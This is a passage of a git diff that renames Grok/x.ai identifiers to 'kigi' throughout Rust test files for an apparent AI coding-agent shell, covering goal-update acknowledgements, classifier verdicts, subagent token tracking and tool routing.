             let mut client_hooks = crate::extensions::hooks::ClientHooks::new();
             client_hooks.insert(
@@ -557,7 +557,7 @@ async fn pre_tool_use_deny_feeds_reason_back_and_continues_turn() {
             );
             *actor.client_hooks.borrow_mut() = client_hooks;
 
-            // Answer the reverse x.ai/hooks/run request with a deny carrying a reason;
+            // Answer the reverse kigi/hooks/run request with a deny carrying a reason;
             // ack the UI notifications `deny_tool` emits so it can't block the gate.
             tokio::task::spawn_local(async move {
                 while let Some(msg) = gateway_rx.recv().await {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/fs_injection_regression_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/fs_injection_regression_tests.rs
index ef3730d..2bec9f6 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/fs_injection_regression_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/fs_injection_regression_tests.rs
@@ -18,7 +18,7 @@ async fn tool_bridge_routes_writes_through_injected_fs() {
     let config = ToolServerConfig {
         tools: vec![
             ToolConfig {
-                id: "GrokBuild:read_file".into(),
+                id: "Kigi:read_file".into(),
                 params: None,
                 name_override: None,
                 params_name_overrides: None,
@@ -27,7 +27,7 @@ async fn tool_bridge_routes_writes_through_injected_fs() {
                 kind: None,
             },
             ToolConfig {
-                id: "GrokBuild:search_replace".into(),
+                id: "Kigi:search_replace".into(),
                 params: Some(
                     serde_json::from_value(serde_json::json!({
                         "skip_read_before_edit": true
@@ -47,13 +47,13 @@ async fn tool_bridge_routes_writes_through_injected_fs() {
         backend: terminal,
         fs,
         cwd: cwd.clone(),
-        session_folder: std::env::temp_dir().join("grok-test-fs"),
+        session_folder: std::env::temp_dir().join("kigi-test-fs"),
         session_env: std::sync::Arc::new(std::collections::HashMap::new()),
         notification_handle: ToolNotificationHandle::noop(),
         owner_session_id: None,
         parent_scheduler_handle: None,
         skills: vec![],
-        state_path: std::env::temp_dir().join("grok-test-fs/tool_state.json"),
+        state_path: std::env::temp_dir().join("kigi-test-fs/tool_state.json"),
         memory_backend: None,
         web_search_config: Default::default(),
         web_fetch_config: Default::default(),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_backoff_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_backoff_tests.rs
index b930eb2..27acb56 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_backoff_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_backoff_tests.rs
@@ -459,8 +459,8 @@ async fn handle_turn_end_verified_complete_during_drain_skips_bail_nudge() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: Some(true),
                         message: None,
                         blocked_reason: None,
@@ -1436,8 +1436,8 @@ async fn drain_goal_updates_blocked_reason_transitions_after_three_attempts() {
                 let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
                 *actor.goal_update_rx.borrow_mut() = Some(rx);
                 tx.send(
-                    kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                        kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                    kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                        kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                             completed: None,
                             message: Some("longer body".into()),
                             blocked_reason: Some("short label".into()),
@@ -1479,8 +1479,8 @@ async fn drain_goal_updates_blocked_reason_rejected_below_threshold() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: None,
                         blocked_reason: Some("only label".into()),
@@ -1580,8 +1580,8 @@ async fn drain_goal_updates_blocked_reason_against_non_active_does_not_stash_pau
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: Some("body".into()),
                         blocked_reason: Some("would-block".into()),
@@ -1625,7 +1625,7 @@ async fn drain_goal_updates_completes_after_blocked_does_not_leak_pause_message(
                     .store(2, Ordering::Relaxed);
                 let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
                 *actor.goal_update_rx.borrow_mut() = Some(rx);
-                tx.send(kigi_tools::implementations::grok_build::update_goal::envelope_for_test(kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                tx.send(kigi_tools::implementations::kigi::update_goal::envelope_for_test(kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: None,
                         blocked_reason: Some("blk".into()),
@@ -1641,7 +1641,7 @@ async fn drain_goal_updates_completes_after_blocked_does_not_leak_pause_message(
                 // accepts complete() from any paused variant (including
                 // Blocked), and the pause_message
                 // is cleared during the transition.
-                tx.send(kigi_tools::implementations::grok_build::update_goal::envelope_for_test(kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                tx.send(kigi_tools::implementations::kigi::update_goal::envelope_for_test(kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
 
                         completed: Some(true),
                         message: None,
@@ -1675,8 +1675,8 @@ async fn drain_goal_updates_skips_subsequent_completed_after_block() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: None,
                         blocked_reason: Some("X".into()),
@@ -1685,8 +1685,8 @@ async fn drain_goal_updates_skips_subsequent_completed_after_block() {
             )
             .unwrap();
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: Some(true),
                         message: None,
                         blocked_reason: None,
@@ -2259,8 +2259,8 @@ async fn drain_goal_updates_message_only_does_not_change_status() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: Some("Running tests...".into()),
                         blocked_reason: None,
@@ -2294,7 +2294,7 @@ async fn drain_goal_updates_message_only_does_not_change_status() {
 /// producing an ack"). The drain must instead reply with a clean ack.
 #[tokio::test(flavor = "current_thread")]
 async fn drain_goal_updates_harness_disabled_does_not_drop_ack() {
-    use kigi_tools::implementations::grok_build::update_goal::{
+    use kigi_tools::implementations::kigi::update_goal::{
         RejectReason, UpdateGoalAck, UpdateGoalInput,
     };
     let local = tokio::task::LocalSet::new();
@@ -2374,8 +2374,8 @@ async fn drain_goal_updates_blocked_reason_takes_precedence_over_completed() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: Some(true),
                         message: None,
                         blocked_reason: Some("stuck".into()),
@@ -2404,9 +2404,8 @@ async fn drain_goal_updates_blocked_reason_takes_precedence_over_completed() {
 // classifier sampler invoked); the full Achieved/NotAchieved/cap
 // E2E suite using `MockSpawner` lives separately.
 
-fn make_completed_cmd() -> kigi_tools::implementations::grok_build::update_goal::UpdateGoalEnvelope
-{
-    let input = kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+fn make_completed_cmd() -> kigi_tools::implementations::kigi::update_goal::UpdateGoalEnvelope {
+    let input = kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
         completed: Some(true),
         message: None,
         blocked_reason: None,
@@ -2966,8 +2965,8 @@ async fn drain_goal_updates_completed_resets_blocked_streak() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: Some(true),
                         message: None,
                         blocked_reason: None,
@@ -3379,7 +3378,7 @@ async fn subagent_spawn_captures_effective_model_id() {
                 .handle_xai_session_notification(spawn_notif_with_model(
                     "a",
                     None,
-                    Some("grok-4.5"),
+                    Some("kigi-4.5"),
                 ))
                 .await;
             let model = actor
@@ -3387,7 +3386,7 @@ async fn subagent_spawn_captures_effective_model_id() {
                 .lock()
                 .get("a")
                 .and_then(|r| r.model.clone());
-            assert_eq!(model.as_deref(), Some("grok-4.5"));
+            assert_eq!(model.as_deref(), Some("kigi-4.5"));
         })
         .await;
 }
@@ -3417,17 +3416,17 @@ async fn goal_tokens_by_model_breaks_down_active_goal_records() {
     local
         .run_until(async {
             let actor = make_test_actor_with_active_goal().await;
-            insert_record_with_model(&actor, "a", Some("test-goal"), 0, 100, Some("grok-4"));
-            insert_record_with_model(&actor, "b", Some("test-goal"), 0, 400, Some("grok-3"));
+            insert_record_with_model(&actor, "a", Some("test-goal"), 0, 100, Some("kigi-4"));
+            insert_record_with_model(&actor, "b", Some("test-goal"), 0, 400, Some("kigi-3"));
             // No captured model → folds under the supplied current model.
             insert_record_with_model(&actor, "c", Some("test-goal"), 0, 50, None);
             // A record from another goal must be excluded.
-            insert_record_with_model(&actor, "d", Some("other-goal"), 0, 999, Some("grok-3"));
+            insert_record_with_model(&actor, "d", Some("other-goal"), 0, 999, Some("kigi-3"));
             // A FINISHED record under the active goal must be excluded from the
             // LIVE active-window breakdown (the per-model analogue of the
-            // finished/in-flight split in goal_tokens). If it leaked, grok-4
+            // finished/in-flight split in goal_tokens). If it leaked, kigi-4
             // would be 800 and sort first.
-            insert_record_with_model(&actor, "e", Some("test-goal"), 0, 700, Some("grok-4"));
+            insert_record_with_model(&actor, "e", Some("test-goal"), 0, 700, Some("kigi-4"));
             actor
                 .subagent_token_records
                 .lock()
@@ -3438,8 +3437,8 @@ async fn goal_tokens_by_model_breaks_down_active_goal_records() {
             assert_eq!(
                 out,
                 vec![
-                    ("grok-3".to_owned(), 400),
-                    ("grok-4".to_owned(), 100),
+                    ("kigi-3".to_owned(), 400),
+                    ("kigi-4".to_owned(), 100),
                     ("cur-model".to_owned(), 50),
                 ]
             );
@@ -3453,7 +3452,7 @@ async fn goal_tokens_by_model_empty_without_active_goal() {
     local
         .run_until(async {
             let actor = make_test_actor_with_active_goal().await;
-            insert_record_with_model(&actor, "a", Some("test-goal"), 0, 100, Some("grok-4"));
+            insert_record_with_model(&actor, "a", Some("test-goal"), 0, 100, Some("kigi-4"));
             // Drop the orchestration: with no active goal the breakdown is
             // empty regardless of any lingering records.
             actor.goal_tracker.lock().clear();
@@ -3757,8 +3756,8 @@ async fn blocked_streak_reaches_pause_across_successful_turns() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             let blocked = || {
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: None,
                         blocked_reason: Some("cannot reach service".into()),
@@ -3849,7 +3848,7 @@ async fn subagent_progress_advances_goal_tokens_live_without_double_count() {
                         let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg else {
                             continue;
                         };
-                        if args.request.method.as_ref() != "x.ai/session_notification" {
+                        if args.request.method.as_ref() != "kigi/session_notification" {
                             continue;
                         }
                         let Ok(v) =
@@ -4028,8 +4027,8 @@ async fn setup_goal_resets_streaks_from_previous_goal() {
             let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
             *actor.goal_update_rx.borrow_mut() = Some(rx);
             tx.send(
-                kigi_tools::implementations::grok_build::update_goal::envelope_for_test(
-                    kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput {
+                kigi_tools::implementations::kigi::update_goal::envelope_for_test(
+                    kigi_tools::implementations::kigi::update_goal::UpdateGoalInput {
                         completed: None,
                         message: None,
                         blocked_reason: Some("blk".into()),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_classifier_e2e_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_classifier_e2e_tests.rs
index 00f2464..700d097 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_classifier_e2e_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_classifier_e2e_tests.rs
@@ -17,10 +17,10 @@
 use super::support::*;
 use super::*;
 use crate::session::PromptOrigin;
-use kigi_tools::implementations::grok_build::task::types::{
+use kigi_tools::implementations::kigi::task::types::{
     SubagentCancelOutcome, SubagentEvent, SubagentResult,
 };
-use kigi_tools::implementations::grok_build::update_goal::{RejectReason, UpdateGoalInput};
+use kigi_tools::implementations::kigi::update_goal::{RejectReason, UpdateGoalInput};
 use serial_test::serial;
 use std::collections::VecDeque;
 use std::sync::Arc as StdArc;
@@ -190,9 +190,7 @@ struct MockCoordinator {
     /// configured role pair commits; tests override it to exercise the
     /// describe-driven fail-open branches.
     describe_outcome: StdArc<
-        parking_lot::Mutex<
-            kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome,
-        >,
+        parking_lot::Mutex<kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome>,
     >,
     /// Per-describe `(subagent_type, harness_agent_type)` in call order.
     describe_calls: DescribeCallLog,
@@ -200,8 +198,8 @@ struct MockCoordinator {
 /// A fully-capable describe summary (read + search + execute + edit + write)
 /// so any role's capability gate passes.
 fn capable_describe_outcome()
--> kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome {
-    use kigi_tools::implementations::grok_build::task::types::{
+-> kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome {
+    use kigi_tools::implementations::kigi::task::types::{
         SubagentDescribeOutcome, SubagentTypeSummary,
     };
     use kigi_tools::types::tool::ToolKind;
@@ -403,7 +401,7 @@ fn seed_channel(actor: &SessionActor, cmds: Vec<UpdateGoalInput>) {
     let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
     *actor.goal_update_rx.borrow_mut() = Some(rx);
     for cmd in cmds {
-        tx.send(kigi_tools::implementations::grok_build::update_goal::envelope_for_test(cmd))
+        tx.send(kigi_tools::implementations::kigi::update_goal::envelope_for_test(cmd))
             .unwrap();
     }
     drop(tx);
@@ -415,9 +413,7 @@ fn seed_channel_with_acks(
     actor: &SessionActor,
     cmds: Vec<UpdateGoalInput>,
 ) -> Vec<
-    tokio::sync::oneshot::Receiver<
-        kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck,
-    >,
+    tokio::sync::oneshot::Receiver<kigi_tools::implementations::kigi::update_goal::UpdateGoalAck>,
 > {
     let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
     *actor.goal_update_rx.borrow_mut() = Some(rx);
@@ -712,7 +708,7 @@ async fn goal_classifier_stall_early_exit_pauses_with_no_progress() {
                 VecDeque::from([Response::not_achieved(), Response::not_achieved()]),
             );
             let (actor, tmp) = make_actor(Some(coord.tx.clone()), true).await;
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             let mut last_ack = None;
             for _ in 0..2 {
                 let mut rxs = seed_channel_with_acks(&actor, vec![make_completed()]);
@@ -752,7 +748,7 @@ async fn goal_classifier_blocked_outcome_pauses_for_user_and_consolidates_queue(
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             let coord = MockCoordinator::spawn(VecDeque::from([Response::blocked("unverifiable")]));
             let (actor, tmp) = make_actor(Some(coord.tx.clone()), true).await;
             let rxs = seed_channel_with_acks(&actor, vec![make_completed(), make_completed()]);
@@ -817,7 +813,7 @@ async fn goal_classifier_cap_takes_precedence_over_stall() {
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             let coord = MockCoordinator::spawn(VecDeque::from([
                 Response::not_achieved(),
                 Response::not_achieved(),
@@ -878,7 +874,7 @@ async fn goal_classifier_stall_pause_consolidates_mid_drain_queue() {
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             let coord = MockCoordinator::spawn(VecDeque::from([
                 Response::not_achieved(),
                 Response::not_achieved(),
@@ -929,7 +925,7 @@ async fn goal_classifier_post_blocked_resume_does_not_immediately_restall() {
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             let coord = MockCoordinator::spawn(VecDeque::from([
                 Response::not_achieved_with("src/a.rs:1 missing coverage"),
                 Response::blocked("contradiction"),
@@ -2070,7 +2066,7 @@ async fn update_goal_tool_blocks_until_classifier_verdict_when_enabled() {
             let ack = ack_rx.await.expect("ack delivered");
             assert!(
                 matches!(ack,
-                kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck::ClassifierAchieved
+                kigi_tools::implementations::kigi::update_goal::UpdateGoalAck::ClassifierAchieved
                 { .. },),
                 "classifier-enabled drain must deliver Achieved ack; got {ack:?}",
             );
@@ -2089,7 +2085,7 @@ async fn update_goal_tool_returns_immediately_when_classifier_disabled() {
             let ack = ack_rx.await.expect("ack delivered");
             assert!(
                 matches!(ack,
-                kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck::CompletedWithoutClassifier,)
+                kigi_tools::implementations::kigi::update_goal::UpdateGoalAck::CompletedWithoutClassifier,)
             );
         })
         .await;
@@ -2105,7 +2101,7 @@ async fn update_goal_tool_returns_error_when_classifier_in_flight_for_previous_c
             let ack_rx = rxs.pop().expect("one ack");
             actor.drain_goal_updates(0, DrainPurpose::TurnEnd).await;
             let ack = ack_rx.await.expect("ack delivered");
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             match ack {
                 UpdateGoalAck::ClassifierConcurrentInFlight {
                     attempt, max_runs, ..
@@ -2127,7 +2123,7 @@ async fn update_goal_tool_returns_error_when_classifier_in_flight_for_previous_c
 }
 #[tokio::test(flavor = "current_thread")]
 async fn update_goal_tool_does_not_deadlock_on_mid_turn_completion() {
-    use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+    use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
@@ -2150,7 +2146,7 @@ async fn update_goal_tool_does_not_deadlock_on_mid_turn_completion() {
 }
 #[tokio::test(flavor = "current_thread")]
 async fn update_goal_tool_deferred_input_fires_classifier_at_turn_end() {
-    use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+    use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
@@ -2185,18 +2181,14 @@ async fn update_goal_tool_returns_immediately_for_blocked_reason() {
     local
         .run_until(async {
             let (actor, _tmp) = make_actor(None, true).await;
-            let mut rxs = seed_channel_with_acks(
-                &actor,
-                vec![make_blocked("transient")],
-            );
+            let mut rxs = seed_channel_with_acks(&actor, vec![make_blocked("transient")]);
             let ack_rx = rxs.pop().expect("one ack");
             actor.drain_goal_updates(0, DrainPurpose::TurnEnd).await;
             let ack = ack_rx.await.expect("ack delivered");
-            assert!(
-                matches!(ack,
-                kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck::Accepted
-                { .. },)
-            );
+            assert!(matches!(
+                ack,
+                kigi_tools::implementations::kigi::update_goal::UpdateGoalAck::Accepted { .. },
+            ));
         })
         .await;
 }
@@ -2291,7 +2283,7 @@ async fn goal_classifier_sequential_drain_four_completions_three_attempts_then_c
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             let coordinator = MockCoordinator::spawn(three_distinct_not_achieved());
             let (actor, _tmp) = make_actor_with_cap(
                     Some(coordinator.tx.clone()),
@@ -2358,7 +2350,7 @@ async fn goal_classifier_sequential_drain_four_completions_three_attempts_then_c
 /// must ack as `ClassifierConcurrentInFlight` (NOT success).
 #[tokio::test(flavor = "current_thread")]
 async fn goal_classifier_concurrent_in_flight_short_circuits_second_completion() {
-    use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+    use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
@@ -2414,7 +2406,7 @@ async fn rejected_ack_post_cap_carries_correct_reason() {
             let ack_rx = rxs.pop().unwrap();
             actor.drain_goal_updates(0, DrainPurpose::TurnEnd).await;
             let ack = ack_rx.await.expect("ack delivered");
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             match ack {
                 UpdateGoalAck::Rejected { reason, detail } => {
                     assert_eq!(reason, RejectReason::PostCap);
@@ -2437,7 +2429,7 @@ async fn pending_queue_overflow_acks_all_as_deferred_and_caps_at_pending_queue_c
             }
             let rxs = seed_channel_with_acks(&actor, inputs);
             actor.drain_goal_updates(0, DrainPurpose::MidTurn).await;
-            use kigi_tools::implementations::grok_build::update_goal::UpdateGoalAck;
+            use kigi_tools::implementations::kigi::update_goal::UpdateGoalAck;
             for rx in rxs {
                 let ack = rx.await.expect("ack delivered");
                 assert!(
@@ -2462,9 +2454,7 @@ async fn pending_queue_overflow_acks_all_as_deferred_and_caps_at_pending_queue_c
 }
 #[test]
 fn render_ack_classifier_achieved_is_success() {
-    use kigi_tools::implementations::grok_build::update_goal::{
-        UpdateGoalAck, render_ack_into_output,
-    };
+    use kigi_tools::implementations::kigi::update_goal::{UpdateGoalAck, render_ack_into_output};
     let out = render_ack_into_output(UpdateGoalAck::ClassifierAchieved {
         details_path: "/tmp/details.md".to_string(),
     })
@@ -2475,9 +2465,7 @@ fn render_ack_classifier_achieved_is_success() {
 }
 #[test]
 fn render_ack_classifier_fail_open_achieved_clarifies_no_verdict() {
-    use kigi_tools::implementations::grok_build::update_goal::{
-        UpdateGoalAck, render_ack_into_output,
-    };
+    use kigi_tools::implementations::kigi::update_goal::{UpdateGoalAck, render_ack_into_output};
     let out =
         render_ack_into_output(UpdateGoalAck::ClassifierFailOpenAchieved { reason: "timeout" })
             .expect("FailOpen must be Ok (treated as achieved)");
@@ -2488,9 +2476,7 @@ fn render_ack_classifier_fail_open_achieved_clarifies_no_verdict() {
 }
 #[test]
 fn render_ack_not_achieved_is_tool_error_with_correct_code() {
-    use kigi_tools::implementations::grok_build::update_goal::{
-        UpdateGoalAck, render_ack_into_output,
-    };
+    use kigi_tools::implementations::kigi::update_goal::{UpdateGoalAck, render_ack_into_output};
     let err = render_ack_into_output(UpdateGoalAck::ClassifierNotAchieved {
         details_path: "/tmp/details.md".to_string(),
         attempt: 2,
@@ -2501,9 +2487,7 @@ fn render_ack_not_achieved_is_tool_error_with_correct_code() {
 }
 #[test]
 fn render_ack_cap_reached_is_tool_error_with_cap_code() {
-    use kigi_tools::implementations::grok_build::update_goal::{
-        UpdateGoalAck, render_ack_into_output,
-    };
+    use kigi_tools::implementations::kigi::update_goal::{UpdateGoalAck, render_ack_into_output};
     let err = render_ack_into_output(UpdateGoalAck::ClassifierCapReached {
         details_path: "/tmp/details.md".to_string(),
         attempt: 3,
@@ -2524,9 +2508,7 @@ fn tool_error_code(err: &kigi_tool_runtime::ToolError) -> &str {
 }
 #[test]
 fn render_ack_rejected_uses_reason_error_code() {
-    use kigi_tools::implementations::grok_build::update_goal::{
-        UpdateGoalAck, render_ack_into_output,
-    };
+    use kigi_tools::implementations::kigi::update_goal::{UpdateGoalAck, render_ack_into_output};
     for (reason, want_code) in all_reject_reasons() {
         let err = render_ack_into_output(UpdateGoalAck::Rejected {
             reason: *reason,
@@ -2613,7 +2595,7 @@ fn reject_reasons_complete_matrix() {
 }
 use crate::session::acp_session::GoalRoleModelConfig;
 use crate::session::acp_session::goal::{PanelResolveCache, RoleCapability};
-use kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome;
+use kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome;
 fn role_pair(model: &str, agent_type: &str) -> crate::util::config::GoalRoleModel {
     crate::util::config::GoalRoleModel {
         model: model.to_string(),
@@ -2824,11 +2806,10 @@ async fn resolve_role_override_toolset_incapable_fails_open() {
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            let mut summary =
-                kigi_tools::implementations::grok_build::task::types::SubagentTypeSummary {
-                    can_read: true,
-                    ..Default::default()
-                };
+            let mut summary = kigi_tools::implementations::kigi::task::types::SubagentTypeSummary {
+                can_read: true,
+                ..Default::default()
+            };
             summary
                 .tool_names
                 .insert(kigi_tools::types::tool::ToolKind::Read, "read_file".into());
@@ -2871,7 +2852,7 @@ async fn resolve_role_override_all_pass_commits_and_emits_resolved() {
 }
 /// A strict-but-unrepresentable harness (`codex`) fails open with the distinct
 /// `harness_flavor_unsupported` reason. Honored:
-/// `grok-build-plan` (non-strict), and `opencode` (non-strict + unrepresentable
+/// `kigi-plan` (non-strict), and `opencode` (non-strict + unrepresentable
 /// — proving the gate keys on `is_strict`, not representability alone).
 #[tokio::test(flavor = "current_thread")]
 async fn resolve_role_override_harness_flavor_representability_gate() {
@@ -2889,7 +2870,7 @@ async fn resolve_role_override_harness_flavor_representability_gate() {
             let evs = lines_with_type(&log, "goal_role_model_fail_open");
             assert_eq!(evs.len(), 1, "{log}");
             assert_eq!(evs[0]["reason"], "harness_flavor_unsupported");
-            let honored = ["grok-build-plan", "opencode"];
+            let honored = ["kigi-plan", "opencode"];
             for harness in honored {
                 let (ov, log) = run_resolve(
                     &role_pair("good-model", harness),
@@ -2983,7 +2964,7 @@ async fn single_role_override_explicit_builds_tool_names_from_summary() {
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
-            use kigi_tools::implementations::grok_build::task::types::{
+            use kigi_tools::implementations::kigi::task::types::{
                 SubagentDescribeOutcome, SubagentTypeSummary,
             };
             use kigi_tools::types::tool::ToolKind;
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_planner_e2e_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_planner_e2e_tests.rs
index e8ab013..5ff10b8 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_planner_e2e_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_planner_e2e_tests.rs
@@ -5,7 +5,7 @@
 
 use super::support::*;
 use super::*;
-use kigi_tools::implementations::grok_build::task::types::{SubagentEvent, SubagentResult};
+use kigi_tools::implementations::kigi::task::types::{SubagentEvent, SubagentResult};
 use serial_test::serial;
 use std::sync::Arc as StdArc;
 use std::sync::atomic::{AtomicUsize, Ordering as SeqOrd};
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_reminder_subagent_rules_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_reminder_subagent_rules_tests.rs
index 8b4ab74..5586ca5 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_reminder_subagent_rules_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_reminder_subagent_rules_tests.rs
@@ -129,7 +129,7 @@ async fn setup_goal_includes_simplified_prompt() {
 }
 #[tokio::test(flavor = "current_thread")]
 async fn goal_enabled_without_update_goal_disables_harness_continuation_and_todo_gate() {
-    use kigi_tools::implementations::grok_build::UPDATE_GOAL_TOOL_NAME;
+    use kigi_tools::implementations::kigi::UPDATE_GOAL_TOOL_NAME;
     let local = tokio::task::LocalSet::new();
